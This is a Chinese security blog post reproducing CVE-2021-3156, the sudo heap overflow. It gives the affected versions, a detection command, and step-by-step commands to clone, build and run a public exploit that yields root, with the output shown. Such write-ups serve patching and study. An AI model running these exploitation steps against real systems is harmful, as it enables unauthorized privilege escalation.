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<h1 id="0x01-CVE-2021-3156-缓冲区溢出漏洞"><a href="#0x01-CVE-2021-3156-缓冲区溢出漏洞" class="headerlink" title="0x01 CVE-2021-3156: 缓冲区溢出漏洞"></a>0x01 CVE-2021-3156: 缓冲区溢出漏洞</h1><p>在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户（普通用户和系统用户，sudoer和非sudoers）都可以利用此漏洞，而无需进行身份验证，攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。</p>
<h1 id="0x02-影响版本"><a href="#0x02-影响版本" class="headerlink" title="0x02 影响版本"></a>0x02 影响版本</h1><p>Sudo 1.8.2 - 1.8.31p2</p>
<p>Sudo 1.9.0 - 1.9.5p1</p>
<p>不受影响版本</p>
<p>Sudo &#x3D;&gt;1.9.5p2</p>
<h1 id="0x03-漏洞检测"><a href="#0x03-漏洞检测" class="headerlink" title="0x03 漏洞检测"></a>0x03 漏洞检测</h1><p>测试环境：ubuntu:20.04</p>
<p>检测是否存在</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudoedit -s /</span><br></pre></td></tr></table></figure>

<p>如下以<code>sudoedit:</code>开头报错则存在此漏洞</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/d2bc2b746f935875c167e64eff4698f9.png" alt="image-20210204101652297"></p>
<p>如果响应一个以<code>usage:</code>开头的报错，那么表明补丁已经生效</p>
<h1 id="0x04-漏洞复现exp"><a href="#0x04-漏洞复现exp" class="headerlink" title="0x04 漏洞复现exp"></a>0x04 漏洞复现exp</h1><p>当前用户为普通用户</p>
<p><img src="https://img-blog.csdnimg.cn/img_convert/98a016c4498a874d825c7aa61cf62f5e.png" alt="image-20210204102142295"></p>
<p>下载EXP</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/blasty/CVE-2021-3156.git</span><br></pre></td></tr></table></figure>

<p>进入编译一下</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ make</span><br><span class="line">rm -rf libnss_X</span><br><span class="line">mkdir libnss_X</span><br><span class="line">gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c</span><br><span class="line">gcc -fPIC -shared -o &#x27;libnss_X/P0P_SH3LLZ_ .so.2&#x27; lib.c</span><br><span class="line">$ ls</span><br><span class="line">Makefile  README.md  brute.sh  hax.c  lib.c  libnss_X  sudo-hax-me-a-sandwich</span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/img_convert/d2649af18a5acde35ecb1c556c6b6773.png" alt="image-20210204104017615"></p>
<p>执行EXP,要选择系统</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./sudo-hax-me-a-sandwich</span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/img_convert/89a7ef4004d4db4a695bc90b6e640c40.png" alt="image-20210204104245921"></p>
<p>最终执行（因为是 ubuntu10.04.1）</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./sudo-hax-me-a-sandwich 1</span><br></pre></td></tr></table></figure>

<p><img src="https://img-blog.csdnimg.cn/img_convert/33ef3dc5ee55ad1a64ea1d7bfcffdfc8.png" alt="image-20210204104512915"></p>
<p>提权成功</p>
<p>exp地址<br><a target="_blank" rel="noopener" href="https://github.com/blasty/CVE-2021-3156.git">https://github.com/blasty/CVE-2021-3156.git</a></p>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2021/02/04/Linux%20sudo%20%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%20CVE-2021-3156%20%20%E5%A4%8D%E7%8E%B0%20%E9%99%84exp/">https://godzeo.github.io/2021/02/04/Linux%20sudo%20%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%20CVE-2021-3156%20%20%E5%A4%8D%E7%8E%B0%20%E9%99%84exp/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://godzeo.github.io" target="_blank">Zeo's Security Lab</a>！</span></div></div><div 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href="#0x01-CVE-2021-3156-%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"><span class="toc-number">1.</span> <span class="toc-text">0x01 CVE-2021-3156: 缓冲区溢出漏洞</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x02-%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC"><span class="toc-number">2.</span> <span class="toc-text">0x02 影响版本</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x03-%E6%BC%8F%E6%B4%9E%E6%A3%80%E6%B5%8B"><span class="toc-number">3.</span> <span class="toc-text">0x03 漏洞检测</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x04-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0exp"><span class="toc-number">4.</span> <span class="toc-text">0x04 漏洞复现exp</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" 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